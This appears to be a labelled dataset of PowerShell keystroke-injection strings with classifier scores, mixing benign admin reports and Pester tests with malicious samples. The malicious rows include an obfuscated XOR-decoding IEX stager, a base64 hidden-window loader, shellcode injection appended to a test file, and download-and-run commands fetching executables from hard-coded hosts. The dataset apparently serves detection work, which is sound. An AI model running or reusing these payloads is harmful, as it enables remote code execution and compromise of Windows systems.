"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_46fbyvhc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4046694e-05
"win+r powershell enter  [CmdletBinding(SupportsShouldProcess=$true)] [OutputType([PSObject])] param( enter [parameter(Mandatory=$true, HelpMessage=""Site server where the SMS Provider is i enter nstalled"")] [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet}) enter ] [ValidateNotNullOrEmpty()] [string]$SiteServer, [parameter(Mandatory=$true, enter HelpMessage=""Specify the CI_UniqueID for the application to be translated"")] [ enter ValidateNotNullOrEmpty()] [string[]]$CIUniqueID ) enter enter",1,1,0.009610542,0.9903895
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_iu15vf6v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Export-Csv -Path (Join-Path $ReportDir ""network_net_connection_profile.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4337187e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_wsfe23it"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_outbound.txt"") -Encoding UTF8 enter Write-Host ""Starting service_checks section 2."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_manual.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4358807e-05
"win+r powershell enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\Wind enter owsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStar enter tInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStre enter am(,[Convert]::FromBase64String(''H4sIALvNCVgCA7VWf2/aPBD+u5P2HaIJiUSjhF9ru0qTXo enter eQQiEtNBAKDE1u4gSDE7PEocC27/5egKxU66a+k96oFXbuznd+7rm7eEnoCMpDyQu2yzNzKH17++akiy enter McSHKON/3qF7cg5dbJ3KjiTaycnIA4N++PDE/6JMkTtFzqPMA0nF5e1pMoIqHY74tXRKA4JsEDoySWFe enter m7NJyRiJzePsyJI6RvUu5L8YrxB8wOaps6dmZEOkWhm8o63MFpYEVryaiQ858/55XJaXlabHxNMIvlvL enter WJBQmKLmN5RfqhpA77myWR8yZ1Ih5zTxSHNKxWioMwxh65gdNWxCRixt04r8A14C8iIolCaX+h9IS9XM enter 7DshtxB7luRGJQL7bCFV8QORcmjBWkf+TJwf1dEgoaEJALEvGlRaIVdUhcbOLQZeSOeFP5hjxmt36tkX enter xsBFpdESkFSMhLcZrcTRjZm+aVXyM9ZFGB5ziTgMCPt2/evvEyAoRidn7nG5X+MQVgdTLZrQmEKnd5TH enter fKn6RSQTLBJxY82sA2148SokylSZqDyXQq5eKg8qFc+P0B5UwbdGeOveBni023rddANLE5dadgekhTLn enter xoaBdnO9HvGacTj4ZE34 enter enter",1,1,6.132045e-05,0.9999387
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_4a0fl72n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4386634e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_w6pw4ov6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter",0,0,0.99996626,3.372436e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_5tf1hjo0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_disabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Starting system_inventory section 3."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.469154e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_hxfcy5ji"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4863933e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_eoc73amb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter",0,0,0.999966,3.393263e-05
"win+r enter powershell enter enter enter $wC=NEW-Object SyStEm.Net.WeBClIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HEadERS.ADD('User-Agent',$u);$wC.PRoxY = [SySTeM.NEt.WEBReqUEst]::DefAuLTWebPrOXY;$Wc.PRoxY.CReDeNtIaLS = [SySTEM.NeT.CReDENtIAlCACHe]::DeFauLTNEtWOrkCREDEnTiAlS;$K='PKXUW7+@ardzS-Jx]nw0H2gm)yb.osC[';$I=0;[CHAr[]]$B=([chaR[]]($WC.DownLOadSTriNG(""http://192.168.1.10:8080/index.asp"")))|%{$_-BXOR$k[$i++%$K.LeNgth]};IEX ($B-jOiN'') enter enter",1,1,5.605813e-05,0.999944
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_jwk4vqsp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386568e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_95oakkhq"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Get-Process -Name ""chrome"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 10 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_10.txt"") -Encoding UTF8 enter",0,0,0.9999651,3.4943918e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_l8mh92cs"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name cryptsvc,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter",0,0,0.99996626,3.368039e-05
"win+r powershell enter  try { $defaultParamValues = $PSDefaultParameterValues.Clone() $PSDefaultPar enter ameterValues[""it:Skip""] = !$IsWindows Describe ""AMSI scan should detect suspic enter ious content"" -Tags 'Feature','RequireAdminOnWindows' { BeforeAll { [System.M enter anagement.Automation.Internal.InternalTestHooks]::SetTestHook(""UseDebugAmsiImple enter mentation"", $true) } enter enter",1,1,0.0062690824,0.9937309
"win+r enter powershell enter enter enter Describe ""Get-Variable DRT Unit Tests"" -Tags ""CI"" { enter It ""Get-Variable of not existing variable Name should throw ItemNotFoundException""{ enter { Get-Variable -ErrorAction Stop -Name nonexistingVariableName } | enter Should -Throw -ErrorId ""VariableNotFound,Microsoft.PowerShell.Commands.GetVariableCommand"" enter } enter enter It ""Get-Variable of existing variable Name with include and bogus exclude should work""{ enter Set-Variable newVar testing enter $var1=get-variable -Name newVar -Include newVar -Exclude bogus enter $var1.Name|Should -BeExactly ""newVar"" enter $var1.Value|Should -BeExactly ""testing"" enter } enter enter It ""Get-Variable of existing variable Name with Description and Option should work""{ enter Set-Variable newVar testing -Option ReadOnly -Description ""testing description"" enter $var1=get-variable -Name newVar enter $var1.Name|Should -BeExactly ""newVar"" enter $var1.Value|Should -BeExactly ""testing"" enter $var1.Options|Should -BeExactly ""ReadOnly"" enter $var1.Description|Should -BeExactly ""testing description"" enter } enter enter It ""Get-Variable of existing variable Globbing Name should work""{ enter Set-Variable abcaVar testing enter Set-Variable bcdaVar ""another test"" enter Set-Variable aVarfoo wow enter $var1=get-variable -Name *aVar* -Scope local enter $var1.Count | Should -Be 3 enter $var1[0].Name|Should -BeExactly ""abcaVar"" enter $var1[0].Value|Should -BeExactly ""testing"" enter $var1[1].Name|Should -BeExactly ""aVarfoo"" enter $var1[1].Value|Should -BeExactly ""wow"" enter $var1[2].Name|Should -BeExactly ""bcdaVar"" enter $var1[2].Value|Should -BeExactly ""another test"" enter } enter enter It ""Get-Variable of existing private variable Name should throw ItemNotFoundException""{ enter Set-Variable newVar testing -Option Private enter {Get-Variable -Name newVar -ErrorAction Stop} | enter Should -Throw -ErrorId ""VariableNotFound,Microsoft.PowerShell.Commands.GetVariableCommand"" enter } enter } enter enter Describe ""Get-Variable"" -Tags ""CI"" { enter It ""Should be able to call with no parameters without error"" { enter { Get-Variable } | Should -Not -Throw enter } enter enter It ""Should return environment variables when called with no parameters"" { enter (Get-Variable).Name -contains ""$"" | Should -BeTrue enter (Get-Variable).Name -contains ""?"" | Should -BeTrue enter (Get-Variable).Name -contains ""HOST"" | Should -BeTrue enter (Get-Variable).Name -contains ""PWD"" | Should -BeTrue enter (Get-Variable).Name -contains ""PID"" | Should -BeTrue enter (Get-Variable).Name -contains ""^"" | Should -BeTrue enter } enter enter It ""Should return the value of an object"" { enter New-Variable -Name tempVar -Value 1 enter (Get-Variable tempVar).Value | Should -Be (1) enter } enter enter It ""Should be able to call using the Name switch"" { enter New-Variable -Name var1 -Value 4 enter enter { Get-Variable -Name var1 } | Should -Not -Throw enter enter (Get-Variable -Name var1).Value | Should -Be 4 enter enter Remove-Variable var1 enter } enter enter It ""Should be able to use wildcard characters in the Name field"" { enter New-Variable -Name var1 -Value 4 enter New-Variable -Name var2 -Value ""test"" enter enter (Get-Variable -Name var*).Value[0] | Should -Be 4 enter (Get-Variable -Name var*).Value[1] | Should -BeExactly ""test"" enter enter Remove-Variable var1 enter Remove-Variable var2 enter } enter enter It ""Should return only the value if the value switch is used"" { enter New-Variable -Name var1 -Value 4 enter enter Get-Variable -Name var1 -ValueOnly | Should -Be 4 enter enter Remove-Variable var1 enter } enter enter It ""Should pipe string to the name field without the Name field being specified""{ enter New-Variable -Name var1 -Value 3 enter enter (""var1"" | Get-Variable ).Value | Should -Be 3 enter enter Remove-Variable var1 enter } enter enter It ""Should be able to include a set of variables to get"" { enter New-Variable -Name var1 -Value 4 enter New-Variable -Name var2 -Value 2 enter enter $actual = Get-Variable -Include var1, var2 enter enter $actual[0].Name | Should -Be var1 enter $actual[1].Name | Should -Be var2 enter enter $actual[0].Value | Should -Be 4 enter $actual[1].Value | Should -Be 2 enter enter Remove-Variable var1 enter Remove-Variable var2 enter } enter enter It ""Should be able to exclude a set of variables to get"" { enter New-Variable -Name var1 -Value 4 enter New-Variable -Name var2 -Value 2 enter New-Variable -Name var3 -Value ""test"" enter enter $actual = Get-Variable -Exclude var1, var2 enter enter $actual.Name -contains ""var3"" | Should -BeTrue enter } enter enter Context ""Scope Tests"" { enter enter It ""Should be able to get a global scope variable using the global switch"" { enter New-Variable globalVar -Value 1 -Scope global -Force enter enter (Get-Variable -Name globalVar -Scope global).Value | Should -Be 1 enter } enter enter It ""Should not be able to clear a global scope variable using the local switch"" { enter New-Variable globalVar -Value 1 -Scope global -Force enter enter { Get-Variable -Name globalVar -Scope local -ErrorAction Stop } | Should -Throw -ErrorId ""VariableNotFound,Microsoft.PowerShell.Commands.GetVariableCommand"" enter } enter enter It ""Should be able to get a global variable when there's one in the script scope"" { enter New-Variable globalVar -Value 1 -Scope global -Force enter { New-Variable globalVar -Value 2 -Scope script -Force} enter enter (Get-Variable -Name globalVar).Value | Should -Be 1 enter } enter enter It ""Should be able to get an item locally using the local switch"" { enter { enter New-Variable localVar -Value 1 -Scope local -Force enter enter Get-Variable -Name localVar -Scope local enter } | Should -Not -Throw enter } enter enter It ""Should be able to get a variable created in the global scope when there's one in local scope"" { enter New-Variable localVar -Value 1 -Scope local -Force enter enter New-Variable localVar -Value 2 -Scope global -Force enter enter (Get-Variable -Name localVar -Scope global).Value | Should -Be 2 enter } enter enter It ""Should be able to get a script variable created using the script switch"" { enter { enter New-Variable scriptVar -Value 1 -Scope script -Force enter enter Get-Variable -Name scriptVar -Scope script enter } | Should -Not -Throw enter } enter enter It ""Should be able to clear a global script variable that was created using the script scope switch"" { enter { enter New-Variable scriptVar -Value 1 -Scope script -Force enter enter Get-Variable -Name scriptVar -Scope script enter } | Should -Not -Throw enter } enter } enter } enter enter $oTvt = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $oTvt -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x42,0x8c,0x13,0x6b,0xdb,0xc8,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x47,0x83,0xc5,0x04,0x31,0x55,0x0f,0x03,0x55,0x4d,0x6e,0xe6,0x97,0xb9,0xec,0x09,0x68,0x39,0x91,0x80,0x8d,0x08,0x91,0xf7,0xc6,0x3a,0x21,0x73,0x8a,0xb6,0xca,0xd1,0x3f,0x4d,0xbe,0xfd,0x30,0xe6,0x75,0xd8,0x7f,0xf7,0x26,0x18,0xe1,0x7b,0x35,0x4d,0xc1,0x42,0xf6,0x80,0x00,0x83,0xeb,0x69,0x50,0x5c,0x67,0xdf,0x45,0xe9,0x3d,0xdc,0xee,0xa1,0xd0,0x64,0x12,0x71,0xd2,0x45,0x85,0x0a,0x8d,0x45,0x27,0xdf,0xa5,0xcf,0x3f,0x3c,0x83,0x86,0xb4,0xf6,0x7f,0x19,0x1d,0xc7,0x80,0xb6,0x60,0xe8,0x72,0xc6,0xa5,0xce,0x6c,0xbd,0xdf,0x2d,0x10,0xc6,0x1b,0x4c,0xce,0x43,0xb8,0xf6,0x85,0xf4,0x64,0x07,0x49,0x62,0xee,0x0b,0x26,0xe0,0xa8,0x0f,0xb9,0x25,0xc3,0x2b,0x32,0xc8,0x04,0xba,0x00,0xef,0x80,0xe7,0xd3,0x8e,0x91,0x4d,0xb5,0xaf,0xc2,0x2e,0x6a,0x0a,0x88,0xc2,0x7f,0x27,0xd3,0x8a,0x4c,0x0a,0xec,0x4a,0xdb,0x1d,0x9f,0x78,0x44,0xb6,0x37,0x30,0x0d,0x10,0xcf,0x37,0x24,0xe4,0x5f,0xc6,0xc7,0x15,0x49,0x0c,0x93,0x45,0xe1,0xa5,0x9c,0x0d,0xf1,0x4a,0x49,0xbb,0xf4,0xdc,0x78,0x3c,0xfd,0x12,0x15,0x3e,0x01,0x3b,0xb9,0xb7,0xe7,0x6b,0x11,0x98,0xb7,0xcb,0xc1,0x58,0x68,0xa3,0x0b,0x57,0x57,0xd3,0x33,0xbd,0xf0,0x79,0xdc,0x68,0xa8,0x15,0x45,0x31,0x22,0x84,0x8a,0xef,0x4e,0x86,0x01,0x1c,0xae,0x48,0xe2,0x69,0xbc,0x3c,0x02,0x24,0x9e,0xea,0x1d,0x92,0xb5,0x12,0x88,0x19,0x1c,0x45,0x24,0x20,0x79,0xa1,0xeb,0xdb,0xac,0xba,0x22,0x4e,0x0f,0xd4,0x4a,0x9e,0x8f,0x24,0x1d,0xf4,0x8f,0x4c,0xf9,0xac,0xc3,0x69,0x06,0x79,0x70,0x22,0x93,0x82,0x21,0x97,0x34,0xeb,0xcf,0xce,0x73,0xb4,0x30,0x25,0x82,0x88,0xe6,0x03,0xf0,0xe0,0x3a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$6bu=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($6bu.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$6bu,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2235926e-05,0.9999478
"win+r enter powershell enter enter enter $resourceGroupName = ""myResourceGroup"" enter $webappname = ""<replace-with-your-app-name>"" enter Get-AzWebAppBackupList -ResourceGroupName $resourceGroupName -Name $webappname enter $backup = (Get-AzWebAppBackupList -ResourceGroupName $resourceGroupName -Name $webappname | where {$_.BackupId -eq <replace-with-BackupID>}) enter $backup | Restore-AzWebAppBackup -Overwrite enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7747835e-05,0.9999423
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_hvxlrviu"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.416466e-05
"win+r enter powershell enter enter enter Set-Variable -Name Now -Force enter Set-Variable -Name Log -Force enter enter $Log = $Env:windir + ""\Logs"" enter $File = $Log + ""\"" + ""NotRebooted.log"" enter If (Test-Path $File) { enter $Now = Get-Date -Format ""dd-MMM-yyyy"" enter $Now = $Now + "".log"" enter If (Test-Path -Path $File) { enter Remove-Item $File -Force enter $File = $Log + ""\Rebooted---"" + $Now enter New-Item $File -ItemType File -Force enter } enter } enter enter",0,0,0.9996873,0.0003127124
"win+r enter powershell enter enter enter function Test-E2EVariableAsset enter { enter $resourceGroupName = ""to-delete-01"" enter $automationAccountName = ""fbs-aa-01"" enter $output = Get-AzAutomationAccount -ResourceGroupName $resourceGroupName -AutomationAccountName $automationAccountName -ErrorAction SilentlyContinue enter $variableName = ""CreateNewVariableWithValue"" enter $variableValue = ""StringValue"" enter $variableValueUpdated = ""StringValueChanged"" enter enter $variableCreated = New-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -name $variableName ` enter -value $variableValue ` enter -Encrypted:$false ` enter -Description ""Hello"" enter enter $getVariable = Get-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -name $variableName enter enter Assert-AreEqual ""Hello"" $getVariable.Description enter enter Set-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $variableName ` enter -Encrypted:$false ` enter -value $variableValueUpdated enter enter $getVariable = Get-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -name $variableName enter enter Assert-AreEqual $variableValueUpdated $getVariable.value enter enter Remove-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -Name $variableName enter enter $output = Get-AzAutomationVariable -ResourceGroupName $resourceGroupName ` enter -AutomationAccountName $automationAccountName ` enter -name $variableName -ErrorAction SilentlyContinue enter enter Assert-True {$output -eq $null} enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.152656e-05,0.9999385
"win+r enter powershell enter enter enter Describe ""CredSSP cmdlet tests"" -Tags 'Feature','RequireAdminOnWindows' { enter enter BeforeAll { enter $powershell = Join-Path $PSHOME ""pwsh"" enter $notEnglish = $false enter $IsToBeSkipped = !$IsWindows; enter enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter if ( $IsToBeSkipped ) enter { enter $PSDefaultParameterValues[""it:skip""] = $true enter } enter else enter { enter if ([System.Globalization.CultureInfo]::CurrentCulture.Name -ne ""en-US"") enter { enter $notEnglish = $true enter } enter } enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter BeforeEach { enter if ( ! $IsToBeSkipped ) enter { enter $errtxt = ""$testdrive/error.txt"" enter Remove-Item $errtxt -Force -ErrorAction SilentlyContinue enter $donefile = ""$testdrive/done"" enter Remove-Item $donefile -Force -ErrorAction SilentlyContinue enter } enter } enter enter It ""Error returned if invalid parameters: <description>"" -TestCases @( enter @{params=@{Role=""Client""};Description=""Client role, no DelegateComputer""}, enter @{params=@{Role=""Server"";DelegateComputer="".""};Description=""Server role w/ DelegateComputer""} enter ) { enter param ($params) enter { Enable-WSManCredSSP @params } | Should -Throw -ErrorId ""System.InvalidOperationException,Microsoft.WSMan.Management.EnableWSManCredSSPCommand"" enter } enter enter It ""Enable-WSManCredSSP works: <description>"" -Skip:($NotEnglish -or $IsToBeSkipped) -TestCases @( enter @{params=@{Role=""Client"";DelegateComputer=""*""};description=""client""}, enter @{params=@{Role=""Server""};description=""server""} enter ) { enter param ($params) enter $c = Enable-WSManCredSSP @params -Force enter $c.CredSSP | Should -Be $true enter enter $c = Get-WSManCredSSP enter if ($params.Role -eq ""Client"") enter { enter $c[0] | Should -Match ""The machine is configured to allow delegating fresh credentials to the following target\(s\):wsman/\*"" enter } enter else enter { enter $c[1] | Should -Match ""This computer is configured to receive credentials from a remote client computer"" enter } enter } enter enter It ""Disable-WSManCredSSP works: <role>"" -Skip:($NotEnglish -or $IsToBeSkipped) -TestCases @( enter @{Role=""Client""}, enter @{Role=""Server""} enter ) { enter param ($role) enter Disable-WSManCredSSP -Role $role | Should -BeNullOrEmpty enter enter $c = Get-WSManCredSSP enter if ($role -eq ""Client"") enter { enter $c[0] | Should -Match ""The machine is not configured to allow delegating fresh credentials."" enter } enter else enter { enter $c[1] | Should -Match ""This computer is not configured to receive credentials from a remote client computer"" enter } enter } enter enter It ""Call cmdlet as API"" { enter $credssp = [Microsoft.WSMan.Management.EnableWSManCredSSPCommand]::new() enter $credssp.Role = ""Client"" enter $credssp.Role | Should -BeExactly ""Client"" enter $credssp.DelegateComputer = ""foo"", ""bar"" enter $credssp.DelegateComputer -join ',' | Should -Be ""foo,bar"" enter $credssp.Force = $true enter $credssp.Force | Should -Be $true enter enter $credssp = [Microsoft.WSMan.Management.DisableWSManCredSSPCommand]::new() enter $credssp.Role = ""Server"" enter $credssp.Role | Should -BeExactly ""Server"" enter } enter } enter enter Describe ""CredSSP cmdlet error cases tests"" -Tags 'Feature' { enter enter It ""Error returned if runas non-admin: <cmdline>"" -Skip:(!$IsWindows) -TestCases @( enter @{cmdline = ""Enable-WSManCredSSP -Role Server -Force""; cmd = ""EnableWSManCredSSPCommand""}, enter @{cmdline = ""Disable-WSManCredSSP -Role Server""; cmd = ""DisableWSManCredSSPCommand""}, enter @{cmdline = ""Get-WSManCredSSP""; cmd = ""GetWSmanCredSSPCommand""} enter ) { enter param ($cmdline, $cmd) enter enter $scriptBlock = [scriptblock]::Create($cmdline) enter $scriptBlock | should -Throw -ErrorId ""System.InvalidOperationException,Microsoft.WSMan.Management.$cmd"" enter } enter } enter enter",0,0,0.9904541,0.00954591
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://worldnit.com/com.exe','mess.exe');Start-Process 'mess.exe' enter enter",1,1,5.8933147e-05,0.9999411
